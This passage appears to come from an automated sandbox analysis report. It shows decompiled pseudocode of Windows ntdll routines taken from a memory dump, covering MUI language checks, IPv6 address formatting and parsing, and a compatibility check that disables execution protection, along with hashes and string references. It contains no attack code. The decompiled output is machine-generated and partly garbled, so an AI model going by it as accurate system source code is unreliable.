									_v20 = _t318;
									_v40 = _t318;
								}
							}
							goto L49;
						}
						_t231 = _v24;
						_t322 = _t231 + 4;
						_push(_t231);
						_v52 = _t322;
						E00D3718A(_t231);
						if(_t322 == _t318) {
							_v32 = _t318;
						} else {
							_v32 = E00D1E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
						}
						if(_v32 == _t318) {
							_v52 = _t318;
							L58:
							_t329 = 0xc0000017;
							goto L47;
						} else {
							E00D12340(_v32, _v8, _v24);
							_v16 = _v32;
							_a4 = _t318;
							_t235 = E00D2E679(_v32, _t332);
							while(1) {
								_t319 = _t235;
								if(_t319 == 0) {
									break;
								}
								 *_t319 = 0;
								_t321 = _t319 + 2;
								E00D1E2A8(_t322,  &_v68, _v16);
								if(E00D35553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
								_v16 = _t321;
								_t235 = E00D2E679(_t321, _t332);
								_pop(_t322);
							}
							_t236 = _v16;
							if( *_v16 != _t319) {
								E00D1E2A8(_t322,  &_v68, _t236);
								if(E00D35553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
							}
							if(_a4 == 0) {
								E00D1E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v32);
								_v52 = _v52 & 0x00000000;
								_v32 = _v32 & 0x00000000;
							}
							if(_v8 != 0) {
								E00D1E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
							}
							_v8 = _v8 & 0x00000000;
							_t318 = 0;
							goto L46;
						}
					}
					_t257 = _v24;
					_t322 = _t257 + 4;
					_push(_t257);
					_v40 = _t322;
					E00D3718A(_t257);
					_t338 = _t335 + 4;
					if(_t322 == _t318) {
						_v20 = _t318;
					} else {
						_v20 = E00D1E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
					}
					if(_v20 == _t318) {
						_v40 = _t318;
						goto L58;
					} else {
						E00D12340(_v20, _v8, _v24);
						_v16 = _v20;
						_a4 = _t318;
						_t261 = E00D2E679(_v20, _t332);
						_t335 = _t338 + 0x14;
						while(1) {
							_v12 = _t261;
							if(_t261 == _t318) {
								break;
							}
							_v12 = _v12 + 2;
							 *_v12 = 0;
							E00D1E2A8(_v12,  &_v68, _v16);
							if(E00D35553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
							_v16 = _v12;
							_t261 = E00D2E679(_v12, _t332);
							_pop(_t322);
						}
						_t269 = _v16;
						if( *_v16 != _t318) {
							E00D1E2A8(_t322,  &_v68, _t269);
							if(E00D35553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
						}
						if(_a4 == _t318) {
							E00D1E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
							_v40 = _t318;
							_v20 = _t318;
						}
						if(_v8 != _t318) {
							E00D1E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
						}
						_v8 = _t318;
						goto L30;
					}
				}
				_t284 = _v24;
				_t322 = _t284 + 4;
				_push(_t284);
				_v48 = _t322;
				E00D3718A(_t284);
				_t339 = _t335 + 4;
				if(_t322 == _t318) {
					_v28 = _t318;
				} else {
					_v28 = E00D1E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
				}
				if(_v28 == _t318) {
					_v48 = _t318;
					goto L58;
				} else {
					E00D12340(_v28, _v8, _v24);
					_v16 = _v28;
					_a4 = _t318;
					_t288 = E00D2E679(_v28, _t332);
					_t335 = _t339 + 0x14;
					while(1) {
						_v12 = _t288;
						if(_t288 == _t318) {
							break;
						}
						_v12 = _v12 + 2;
						 *_v12 = 0;
						E00D1E2A8(_v12,  &_v68, _v16);
						if(E00D35553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
						_v16 = _v12;
						_t288 = E00D2E679(_v12, _t332);
						_pop(_t322);
					}
					_t296 = _v16;
					if( *_v16 != _t318) {
						E00D1E2A8(_t322,  &_v68, _t296);
						if(E00D35553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
					}
					if(_a4 == _t318) {
						E00D1E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v28);
						_v48 = _t318;
						_v28 = _t318;
					}
					if(_v8 != _t318) {
						E00D1E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					}
					_v8 = _t318;
					goto L17;
				}
			}

0x00d38788
0x00d38788
0x00d38791
0x00d38794
0x00d38798
0x00d3879b
0x00d3879e
0x00d387a1
0x00d387a4
0x00d387a7
0x00d387aa
0x00d387af
0x00d81ad3
0x00d38b0a
0x00d38b0d
0x00d38b13
0x00d38b19
0x00d38b1f
0x00d38b25
0x00d38b2b
0x00d38b31
0x00d38b37
0x00d38b3d
0x00d38b46
0x00d38b46
0x00d387c6
0x00d387d0
0x00d81ae0
0x00d81ae6
0x00d81af8
0x00d81af8
0x00d81afd
0x00d81afe
0x00d81b01
0x00d81b06
0x00d81b06
0x00d387d6
0x00d387f2
0x00d387f7
0x00d38807
0x00d3880a
0x00d3880f
0x00d38810
0x00d38813
0x00d38818
0x00d38818
0x00d3882c
0x00d38831
0x00d38838
0x00d38908
0x00d38920
0x00d389f0
0x00d38a08
0x00d38af6
0x00d38af6
0x00d38af8
0x00d38afb
0x00d81beb
0x00d81beb
0x00d38b04
0x00d81bf8
0x00d81c0e
0x00d81c13
0x00d81c16
0x00d81c16
0x00d81bf8
0x00000000
0x00d38b04
0x00d38a0e
0x00d38a11
0x00d38a14
0x00d38a15
0x00d38a18
0x00d38a22
0x00d38b59
0x00d38a28
0x00d38a3c
0x00d38a3c
0x00d38a42
0x00d81bb0
0x00d81b11
0x00d81b11
0x00000000
0x00d38a48
0x00d38a51
0x00d38a5b
0x00d38a5e
0x00d38a61
0x00d38a69
0x00d38a69
0x00d38a6d
0x00000000
0x00000000
0x00d38a74
0x00d38a7c
0x00d38a7d
0x00d38a91
0x00d38a93
0x00d38a93
0x00d38a98
0x00d38a9b
0x00d38aa1
0x00d38aa1
0x00d38aa4
0x00d38aaa
0x00d38ab1
0x00d38ac5
0x00d38ac7
0x00d38ac7
0x00d38ac5
0x00d38ace
0x00d81bc9
0x00d81bce
0x00d81bd2
0x00d81bd2
0x00d38ad8
0x00d38aeb
0x00d38aeb
0x00d38af0
0x00d38af4
0x00000000
0x00d38af4
0x00d38a42
0x00d38926
0x00d38929
0x00d3892c
0x00d3892d
0x00d38930
0x00d38935
0x00d3893a
0x00d38b51
0x00d38940
0x00d38954
0x00d38954
0x00d3895a
0x00d81b63
0x00000000
0x00d38960
0x00d38969
0x00d38973
0x00d38976
0x00d38979
0x00d3897e
0x00d38981
0x00d38981
0x00d38986
0x00000000
0x00000000
0x00d81b6e
0x00d81b74
0x00d81b7b
0x00d81b8f
0x00d81b91
0x00d81b91
0x00d81b99
0x00d81b9c
0x00d81ba2
0x00d81ba2
0x00d3898c
0x00d38992
0x00d38999
0x00d389ad
0x00d81ba8
0x00d81ba8
0x00d389ad
0x00d389b6
0x00d389c8
0x00d389cd
0x00d389d0
0x00d389d0
0x00d389d6
0x00d389e8
0x00d389e8
0x00d389ed
0x00000000
0x00d389ed
0x00d3895a
0x00d3883e
0x00d38841
0x00d38844
0x00d38845
0x00d38848
0x00d3884d
0x00d38852
0x00d38b49
0x00d38858
0x00d3886c
0x00d3886c
0x00d38872
0x00d81b0e
0x00000000
0x00d38878
0x00d38881
0x00d3888b
0x00d3888e
0x00d38891
0x00d38896
0x00d38899
0x00d38899
0x00d3889e
0x00000000
0x00000000
0x00d81b21
0x00d81b27
0x00d81b2e
0x00d81b42
0x00d81b44
0x00d81b44
0x00d81b4c
0x00d81b4f
0x00d81b55
0x00d81b55
0x00d388a4
0x00d388aa
0x00d388b1
0x00d388c5
0x00d81b5b
0x00d81b5b
0x00d388c5
0x00d388ce
0x00d388e0
0x00d388e5
0x00d388e8
0x00d388e8
0x00d388ee
0x00d38900
0x00d38900
0x00d38905
0x00000000
0x00d38905

APIs

_wcspbrk.LIBCMT ref: 00D38891
_wcspbrk.LIBCMT ref: 00D38979
_wcspbrk.LIBCMT ref: 00D38A61
_wcspbrk.LIBCMT ref: 00D38A9B
_wcspbrk.LIBCMT ref: 00D81B9C

Strings

Kernel-MUI-Number-Allowed, xrefs: 00D387E6
Kernel-MUI-Language-SKU, xrefs: 00D389FC
Kernel-MUI-Language-Allowed, xrefs: 00D38827
Kernel-MUI-Language-Disallowed, xrefs: 00D38914
WindowsExcludedProcs, xrefs: 00D387C1

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: 2bfbfaaf2dfa577390188b029554b97f37d32cba3d2348479c97492e002a2622
Instruction ID: fd90d215d7a86eae619721460b340e55cc9926f0cac38ea4e86e60d989d43f24
Opcode Fuzzy Hash: 2bfbfaaf2dfa577390188b029554b97f37d32cba3d2348479c97492e002a2622
Instruction Fuzzy Hash: 08F1C5B6D00249EFCB11EF95D9819EEB7B9FF08300F14446AF506A7211EB35AA45DB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D513CB, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E00D513CB(intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _t71;
				signed int _t78;
				signed int _t86;
				char _t90;
				signed int _t91;
				signed int _t96;
				intOrPtr _t108;
				signed int _t114;
				void* _t115;
				intOrPtr _t128;
				intOrPtr* _t129;
				void* _t130;

				_t129 = _a4;
				_t128 = _a8;
				_t116 = 0;
				_t71 = _t128 + 0x5c;
				_v8 = 8;
				_v20 = _t71;
				if( *_t129 == 0) {
					if( *((intOrPtr*)(_t129 + 2)) != 0 ||  *((intOrPtr*)(_t129 + 4)) != 0 ||  *((intOrPtr*)(_t129 + 6)) != 0 ||  *(_t129 + 0xc) == 0) {
						goto L5;
					} else {
						_t96 =  *(_t129 + 8) & 0x0000ffff;
						if(_t96 != 0) {
							L38:
							if(_t96 != 0xffff ||  *(_t129 + 0xa) != _t116) {
								goto L5;
							} else {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t86 = E00D47707(_t128, _t71 - _t128 >> 1, L"::ffff:0:%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff);
								L36:
								return _t128 + _t86 * 2;
							}
						}
						_t114 =  *(_t129 + 0xa) & 0x0000ffff;
						if(_t114 == 0) {
							L33:
							_t115 = 0xd12926;
							L35:
							_push( *(_t129 + 0xf) & 0x000000ff);
							_push( *(_t129 + 0xe) & 0x000000ff);
							_push( *(_t129 + 0xd) & 0x000000ff);
							_push( *(_t129 + 0xc) & 0x000000ff);
							_t86 = E00D47707(_t128, _t71 - _t128 >> 1, L"::%hs%u.%u.%u.%u", _t115);
							goto L36;
						}
						if(_t114 != 0xffff) {
							_t116 = 0;
							goto L38;
						}
						if(_t114 != 0) {
							_t115 = 0xd19cac;
							goto L35;
						}
						goto L33;
					}
				} else {
					L5:
					_a8 = _t116;
					_a4 = _t116;
					_v12 = _t116;
					if(( *(_t129 + 8) & 0x0000fffd) == 0) {
						if( *(_t129 + 0xa) == 0xfe5e) {
							_v8 = 6;
						}
					}
					_t90 = _v8;
					if(_t90 <= _t116) {
						L11:
						if(_a8 - _a4 <= 1) {
							_a8 = _t116;
							_a4 = _t116;
						}
						_t91 = 0;
						if(_v8 <= _t116) {
							L22:
							if(_v8 < 8) {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t128 = _t128 + E00D47707(_t128, _t71 - _t128 >> 1, L":%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff) * 2;
							}
							return _t128;
						} else {
							L14:
							L14:
							if(_a4 > _t91 || _t91 >= _a8) {
								if(_t91 != _t116 && _t91 != _a8) {
									_push(":");
									_push(_t71 - _t128 >> 1);
									_push(_t128);
									_t128 = _t128 + E00D47707() * 2;
									_t71 = _v20;
									_t130 = _t130 + 0xc;
								}
								_t78 = E00D47707(_t128, _t71 - _t128 >> 1, L"%x",  *(_t129 + _t91 * 2) & 0x0000ffff);
								_t130 = _t130 + 0x10;
							} else {
								_push(L"::");
								_push(_t71 - _t128 >> 1);
								_push(_t128);
								_t78 = E00D47707();
								_t130 = _t130 + 0xc;
								_t91 = _a8 - 1;
							}
							_t91 = _t91 + 1;
							_t128 = _t128 + _t78 * 2;
							_t71 = _v20;
							if(_t91 >= _v8) {
								goto L22;
							}
							_t116 = 0;
							goto L14;
						}
					} else {
						_t108 = 1;
						_v16 = _t129;
						_v24 = _t90;
						do {
							if( *_v16 == _t116) {
								if(_t108 - _v12 > _a8 - _a4) {
									_a4 = _v12;
									_a8 = _t108;
								}
								_t116 = 0;
							} else {
								_v12 = _t108;
							}
							_v16 = _v16 + 2;
							_t108 = _t108 + 1;
							_t26 =  &_v24;
							 *_t26 = _v24 - 1;
						} while ( *_t26 != 0);
						goto L11;
					}
				}
			}

0x00d513d5
0x00d513d9
0x00d513dc
0x00d513de
0x00d513e1
0x00d513e8
0x00d513ee
0x00d7e8fd
0x00000000
0x00d7e921
0x00d7e921
0x00d7e928
0x00d7e982
0x00d7e98a
0x00000000
0x00d7e99a
0x00d7e99e
0x00d7e9a3
0x00d7e9a8
0x00d7e9b9
0x00d7e978
0x00000000
0x00d7e978
0x00d7e98a
0x00d7e92a
0x00d7e931
0x00d7e944
0x00d7e944
0x00d7e950
0x00d7e954
0x00d7e959
0x00d7e95e
0x00d7e963
0x00d7e970
0x00000000
0x00d7e975
0x00d7e93b
0x00d7e980
0x00000000
0x00d7e980
0x00d7e942
0x00d7e94b
0x00000000
0x00d7e94b
0x00000000
0x00d7e942
0x00d513f4
0x00d513f4
0x00d513f9
0x00d513fc
0x00d513ff
0x00d51406
0x00d7e9cc
0x00d7e9d2
0x00d7e9d2
0x00d7e9cc
0x00d5140c
0x00d51411
0x00d51431
0x00d5143a
0x00d5143c
0x00d5143f
0x00d5143f
0x00d51442
0x00d51447
0x00d514a8
0x00d514ac
0x00d7e9e2
0x00d7e9e7
0x00d7e9ec
0x00d7ea05
0x00d7ea05
0x00000000
0x00d51449
0x00000000
0x00d51449
0x00d5144c
0x00d51459
0x00d51462
0x00d51469
0x00d5146a
0x00d51470
0x00d51473
0x00d51476
0x00d51476
0x00d51490
0x00d51495
0x00d5138e
0x00d51390
0x00d51397
0x00d51398
0x00d51399
0x00d513a1
0x00d513a4
0x00d513a4
0x00d51498
0x00d5149c
0x00d5149f
0x00d514a2
0x00000000
0x00000000
0x00d514a4
0x00000000
0x00d514a4
0x00d51413
0x00d51415
0x00d51416
0x00d51419
0x00d5141c
0x00d51422
0x00d513b7
0x00d513bc
0x00d513bf
0x00d513bf
0x00d513c2
0x00d51424
0x00d51424
0x00d51424
0x00d51427
0x00d5142b
0x00d5142c
0x00d5142c
0x00d5142c
0x00000000
0x00d5141c
0x00d51411

APIs

___swprintf_l.LIBCMT ref: 00D5146B
___swprintf_l.LIBCMT ref: 00D51490
___swprintf_l.LIBCMT ref: 00D7E970

Strings

ffff:, xrefs: 00D7E94B
:%u.%u.%u.%u, xrefs: 00D7E9F4
::%hs%u.%u.%u.%u, xrefs: 00D7E967
::ffff:0:%u.%u.%u.%u, xrefs: 00D7E9B0

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 80bc0f22055afa6f88619762b5de0984be2160a080174bca8019315cbd94765d
Instruction ID: 0978f90b9c65b0e675ac7f36d1ebb30bc6f1198df59f1f9f25cfc5c02d1fa365
Opcode Fuzzy Hash: 80bc0f22055afa6f88619762b5de0984be2160a080174bca8019315cbd94765d
Instruction Fuzzy Hash: 136158B5900655AACF24CF99C8A08BFBBB5EF94301B58C12DFDDA47540E734AA48CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D47EFD, Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00D47EFD(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				char _v540;
				unsigned int _v544;
				signed int _v548;
				intOrPtr _v552;
				char _v556;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t33;
				void* _t38;
				unsigned int _t46;
				unsigned int _t47;
				unsigned int _t52;
				intOrPtr _t56;
				unsigned int _t62;
				void* _t69;
				void* _t70;
				intOrPtr _t72;
				signed int _t73;
				void* _t74;
				void* _t75;
				void* _t76;
				void* _t77;

				_t33 =  *0xdf2088; // 0x7753699a
				_v8 = _t33 ^ _t73;
				_v548 = _v548 & 0x00000000;
				_t72 = _a4;
				if(E00D47F4F(__ecx, _t72 + 0x2c,  &_v548) >= 0) {
					__eflags = _v548;
					if(_v548 == 0) {
						goto L1;
					}
					_t62 = _t72 + 0x24;
					E00D63F92(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v548);
					_t71 = 0x214;
					_v544 = 0x214;
					E00D1DFC0( &_v540, 0, 0x214);
					_t75 = _t74 + 0x20;
					_t46 =  *0xdf4218( *((intOrPtr*)(_t72 + 0x28)),  *((intOrPtr*)(_t72 + 0x18)),  *((intOrPtr*)(_t72 + 0x20)), L"ExecuteOptions",  &_v556,  &_v540,  &_v544, _t62);
					__eflags = _t46;
					if(_t46 == 0) {
						goto L1;
					}
					_t47 = _v544;
					__eflags = _t47;
					if(_t47 == 0) {
						goto L1;
					}
					__eflags = _t47 - 0x214;
					if(_t47 >= 0x214) {
						goto L1;
					}
					_push(_t62);
					 *((short*)(_t73 + (_t47 >> 1) * 2 - 0x21a)) = 0;
					E00D63F92(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v540);
					_t52 = E00D20D27( &_v540, L"Execute=1");
					_t76 = _t75 + 0x1c;
					_push(_t62);
					__eflags = _t52;
					if(_t52 == 0) {
						E00D63F92(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v540);
						_t71 =  &_v540;
						_t56 = _t73 + _v544 - 0x218;
						_t77 = _t76 + 0x14;
						_v552 = _t56;
						__eflags = _t71 - _t56;
						if(_t71 >= _t56) {
							goto L1;
						} else {
							goto L10;
						}
						while(1) {
							L10:
							_t62 = E00D28375(_t71, 0x20);
							_pop(_t69);
							__eflags = _t62;
							if(__eflags != 0) {
								__eflags = 0;
								 *_t62 = 0;
							}
							E00D63F92(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t71);
							_t77 = _t77 + 0x10;
							E00D8E8DB(_t69, _t70, __eflags, _t72, _t71);
							__eflags = _t62;
							if(_t62 == 0) {
								goto L1;
							}
							_t31 = _t62 + 2; // 0x2
							_t71 = _t31;
							__eflags = _t71 - _v552;
							if(_t71 >= _v552) {
								goto L1;
							}
						}
					}
					_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
					_push(3);
					_push(0x55);
					E00D63F92();
					_t38 = 1;
					L2:
					return E00D1E1B4(_t38, _t62, _v8 ^ _t73, _t70, _t71, _t72);
				}
				L1:
				_t38 = 0;
				goto L2;
			}

0x00d47f08
0x00d47f0f
0x00d47f12
0x00d47f1b
0x00d47f31
0x00d63ead
0x00d63eb4
0x00000000
0x00000000
0x00d63eba
0x00d63ecd
0x00d63ed2
0x00d63ee1
0x00d63ee7
0x00d63eec
0x00d63f12
0x00d63f18
0x00d63f1a
0x00000000
0x00000000
0x00d63f20
0x00d63f26
0x00d63f28
0x00000000
0x00000000
0x00d63f2e
0x00d63f30
0x00000000
0x00000000
0x00d63f3a
0x00d63f3b
0x00d63f53
0x00d63f64
0x00d63f69
0x00d63f6c
0x00d63f6d
0x00d63f6f
0x00d6e304
0x00d6e30f
0x00d6e315
0x00d6e31e
0x00d6e321
0x00d6e327
0x00d6e329
0x00000000
0x00000000
0x00000000
0x00000000
0x00d6e32f
0x00d6e32f
0x00d6e337
0x00d6e33a
0x00d6e33b
0x00d6e33d
0x00d6e33f
0x00d6e341
0x00d6e341
0x00d6e34e
0x00d6e353
0x00d6e358
0x00d6e35d
0x00d6e35f
0x00000000
0x00000000
0x00d6e365
0x00d6e365
0x00d6e368
0x00d6e36e
0x00000000
0x00000000
0x00d6e374
0x00d6e32f
0x00d63f75
0x00d63f7a
0x00d63f7c
0x00d63f7e
0x00d63f86
0x00d47f39
0x00d47f47
0x00d47f47
0x00d47f37
0x00d47f37
0x00000000

APIs

BaseQueryModuleData.KERNEL32(?,00000000,00000000,ExecuteOptions,?,?,?), ref: 00D63F12

Strings

CLIENT(ntdll): Processing section info %ws..., xrefs: 00D6E345
Execute=1, xrefs: 00D63F5E
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 00D63F4A
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 00D63F75
ExecuteOptions, xrefs: 00D63F04
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 00D63EC4
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 00D6E2FB

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: BaseDataModuleQuery
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 3901378454-484625025
Opcode ID: bb3ec1c315f54516a3153cf0e5416b64f2631380a9697742698863fc97462e7a
Instruction ID: 262e863da4da37aaf134f866049411afd7cff8813bddf006ed8b37bce8220bb3
Opcode Fuzzy Hash: bb3ec1c315f54516a3153cf0e5416b64f2631380a9697742698863fc97462e7a
Instruction Fuzzy Hash: B4419772A8061C7BDB20DA94EC86FEA73BCEF54704F0405A9B505E61C1EB719B898B71

Uniqueness

Uniqueness Score: -1.00%

Function 00D50B15, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D50B15(intOrPtr* _a4, char _a7, intOrPtr* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void* _t108;
				void* _t116;
				char _t120;
				short _t121;
				void* _t128;
				intOrPtr* _t130;
				char _t132;
				short _t133;
				intOrPtr _t141;
				signed int _t156;
				signed int _t174;
				intOrPtr _t177;
				intOrPtr* _t179;
				intOrPtr _t180;
				void* _t183;

				_t179 = _a4;
				_t141 =  *_t179;
				_v16 = 0;
				_v28 = 0;
				_v8 = 0;
				_v24 = 0;
				_v12 = 0;
				_v32 = 0;
				_v20 = 0;
				if(_t141 == 0) {
					L41:
					 *_a8 = _t179;
					_t180 = _v24;
					if(_t180 != 0) {
						if(_t180 != 3) {
							goto L6;
						}
						_v8 = _v8 + 1;
					}
					_t174 = _v32;
					if(_t174 == 0) {
						if(_v8 == 7) {
							goto L43;
						}
						goto L6;
					}
					L43:
					if(_v16 != 1) {
						if(_v16 != 2) {
							goto L6;
						}
						 *((short*)(_a12 + _v20 * 2)) = 0;
						L47:
						if(_t174 != 0) {
							E00D28980(_a12 + 0x10 + (_t174 - _v8) * 2, _a12 + _t174 * 2, _v8 - _t174 + _v8 - _t174);
							_t116 = 8;
							E00D1DFC0(_a12 + _t174 * 2, 0, _t116 - _v8 + _t116 - _v8);
						}
						return 0;
					}
					if(_t180 != 0) {
						if(_v12 > 3) {
							goto L6;
						}
						_t120 = E00D50CFA(_v28, 0, 0xa);
						_t183 = _t183 + 0xc;
						if(_t120 > 0xff) {
							goto L6;
						}
						 *((char*)(_t180 + _v20 * 2 + _a12)) = _t120;
						goto L47;
					}
					if(_v12 > 4) {
						goto L6;
					}
					_t121 = E00D50CFA(_v28, _t180, 0x10);
					_t183 = _t183 + 0xc;
					 *((short*)(_a12 + _v20 * 2)) = _t121;
					goto L47;
				} else {
					while(1) {
						_t123 = _v16;
						if(_t123 == 0) {
							goto L7;
						}
						_t108 = _t123 - 1;
						if(_t108 != 0) {
							goto L1;
						}
						_t178 = _t141;
						if(E00D506BA(_t108, _t141) == 0 || _t135 == 0) {
							if(E00D506BA(_t135, _t178) == 0 || E00D50A5B(_t136, _t178) == 0) {
								if(_t141 != 0x3a) {
									if(_t141 == 0x2e) {
										if(_a7 != 0 || _v24 > 2 || _v8 > 6) {
											goto L41;
										} else {
											_v24 = _v24 + 1;
											L27:
											_v16 = _v16 & 0x00000000;
											L28:
											if(_v28 == 0) {
												goto L20;
											}
											_t177 = _v24;
											if(_t177 != 0) {
												if(_v12 > 3) {
													L6:
													return 0xc000000d;
												}
												_t132 = E00D50CFA(_v28, 0, 0xa);
												_t183 = _t183 + 0xc;
												if(_t132 > 0xff) {
													goto L6;
												}
												 *((char*)(_t177 + _v20 * 2 + _a12 - 1)) = _t132;
												goto L20;
											}
											if(_v12 > 4) {
												goto L6;
											}
											_t133 = E00D50CFA(_v28, 0, 0x10);
											_t183 = _t183 + 0xc;
											_v20 = _v20 + 1;
											 *((short*)(_a12 + _v20 * 2)) = _t133;
											goto L20;
										}
									}
									goto L41;
								}
								if(_v24 > 0 || _v8 > 6) {
									goto L41;
								} else {
									_t130 = _t179 + 1;
									if( *_t130 == _t141) {
										if(_v32 != 0) {
											goto L41;
										}
										_v32 = _v8 + 1;
										_t156 = 2;
										_v8 = _v8 + _t156;
										L34:
										_t179 = _t130;
										_v16 = _t156;
										goto L28;
									}
									_v8 = _v8 + 1;
									goto L27;
								}
							} else {
								_v12 = _v12 + 1;
								if(_v24 > 0) {
									goto L41;
								}
								_a7 = 1;
								goto L20;
							}
						} else {
							_v12 = _v12 + 1;
							L20:
							_t179 = _t179 + 1;
							_t141 =  *_t179;
							if(_t141 == 0) {
								goto L41;
							}
							continue;
						}
						L7:
						if(_t141 == 0x3a) {
							if(_v24 > 0 || _v8 > 0) {
								goto L41;
							} else {
								_t130 = _t179 + 1;
								if( *_t130 != _t141) {
									goto L41;
								}
								_v20 = _v20 + 1;
								_t156 = 2;
								_v32 = 1;
								_v8 = _t156;
								 *((short*)(_a12 + _v20 * 2)) = 0;
								goto L34;
							}
						}
						L8:
						if(_v8 > 7) {
							goto L41;
						}
						_t142 = _t141;
						if(E00D506BA(_t123, _t141) == 0 || _t124 == 0) {
							if(E00D506BA(_t124, _t142) == 0 || E00D50A5B(_t125, _t142) == 0 || _v24 > 0) {
								goto L41;
							} else {
								_t128 = 1;
								_a7 = 1;
